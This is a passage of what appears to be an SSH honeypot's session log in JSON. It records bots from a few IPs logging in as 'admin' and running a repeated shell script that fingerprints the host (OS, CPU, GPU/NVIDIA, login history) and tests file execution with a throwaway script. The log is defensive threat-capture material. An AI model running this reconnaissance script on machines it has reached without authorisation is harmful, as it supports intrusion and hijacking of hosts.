2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:55:11.427797+00:00",
  "ended_at": "2026-08-25T15:55:12.435236+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f6fa6bb3-e9a7-41b5-a984-9375d70ef223",
  "name": "keen-dappled-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 36900,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:53:10.281570+00:00",
  "ended_at": "2026-08-25T15:53:11.986014+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6d82ce71-bcb7-4b69-8563-25677b6fadc8",
  "name": "bold-mossy-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 34786,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:51:01.539144+00:00",
  "ended_at": "2026-08-25T15:51:03.696670+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0c2374db-718f-4b0e-a1a4-bc9dfc414551",
  "name": "steady-emerald-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 60988,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:48:46.038620+00:00",
  "ended_at": "2026-08-25T15:48:47.616912+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "33802abc-1678-4fe1-8f70-773f095de3e7",
  "name": "breezy-courtly-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 58658,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:46:25.414487+00:00",
  "ended_at": "2026-08-25T15:46:28.688488+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "99a3d924-a07b-4802-96c8-19968dcd4d45",
  "name": "canny-cobalt-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.122.168",
  "src_port": 56360,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T15:43:23.388751+00:00",
  "ended_at": "2026-08-25T15:43:26.973928+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2c994217-2020-4c56-adf0-5615faf9905a",
  "name": "placid-pleasant-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 42630,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T15:41:37.652339+00:00",
  "ended_at": "2026-08-25T15:41:39.338282+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "99f28484-c00d-4cd8-af6a-c41b37e70cb9",
  "name": "peaty-supple-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 53910,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:41:12.759024+00:00",
  "ended_at": "2026-08-25T15:41:14.590028+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "71c5d50d-ec1b-4da0-a09a-c12b7490b3ab",
  "name": "upland-obsidian-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 51464,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho 